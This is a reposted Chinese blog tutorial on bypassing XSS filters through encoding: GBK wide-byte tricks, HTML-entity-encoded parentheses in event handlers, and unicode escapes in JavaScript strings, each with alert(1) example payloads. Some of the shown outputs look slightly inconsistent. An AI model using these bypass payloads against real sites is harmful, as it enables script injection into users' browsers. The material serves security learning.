码迷,mamicode.com
首页 > 其他好文 > 详细

xss:利用编码特性绕过过滤

时间:2017-11-21 01:00:46      阅读:449      评论:0      收藏:0      [点我收藏+]

标签:没有   知识   宽字节   编码   document   err   com   xxx   解释   

编码知识

  url编码 当用户提交的表单值中存在url中有特殊功能的字符时(如http://xxx.com/xxx.php?name1=value1&name2=value2中的"&"),需要对其进行url编码,编码格式为%+16进制值。注意:在表单中输入url编码格式的字符只会被作为字符处理而不会解释成url编码,如有需要请在url地址栏中输入。

   html实体字符 若html页面存在字符有特殊意义时,为了避免被错误解析,通常以html实体字符的形式显示在html页面中。如字符<,>为了避免被解析为标签的起始与结束,常以&lt;,&gt;表示。  

 

1.宽字节绕过

   原理:在gbxxxx系列编码的HTML中,%c0可以吃掉%5c

   例子:当用户输入显示在属性里时

  <input type="text" name="InputBox" value="用户输入">

    输入 " 闭合双引号但被转义了

  <input type="text" name="InputBox" value="\"">

       因为 \ 字符编码为%5c ,当HTML为gbxxxx系列编码时,则可以输入 %c0” 来吃掉插在 " 前面的 \ 以达到绕过

  <input type="text" name="InputBox" value="繺"">    

2.实体字符绕过

  原理:HTML标签的属性中会自动对实体字符进行转义,如

    <img src="1" onerror="alert(1)"><img src="1" onerror="alert&#x28;1&#x29;">等效

  例子:用户输出在button标签的onclick事件中

 <button onclick="func(用户输出)">go</button>

  构造注入句子 aaa)+alert(1 插入却发现 ( , ) 被过滤掉,变成了

 <button onclick="func(aaa+alert1)">go</button>

  这时候,若&,#没有被过滤,就可以使用实体字符,把 ( , ) 替换为&#x0028;&#x0029;,从而绕过

  <button onclick="func(aaa&#x0028;+alert&#x0029;1)">go</button>

3.unicode编码绕过

  原理:js的字符串中的字符可以unicode编码表示

    例子:用户输出在js中时,如

  document.getElementById(‘a‘).innerHTML="用户输出"

    构造注入句子 <img src=1 onerror=alert(1)> 发现<,>,(,)等都被过滤掉了

  document.getElementById(‘a‘).innerHTML="img src=1 onerror=alert1"

   可使用unicode编码进行绕过,输入:\u003cimg src=1\u003e onerror=alert\u00281\u0029  

  document.getElementById(‘a‘).innerHTML="<img src=1 alert(1) >"

 

 

   

  

  

   

xss:利用编码特性绕过过滤

标签:没有   知识   宽字节   编码   document   err   com   xxx   解释   

原文地址:http://www.cnblogs.com/iceli/p/7862294.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!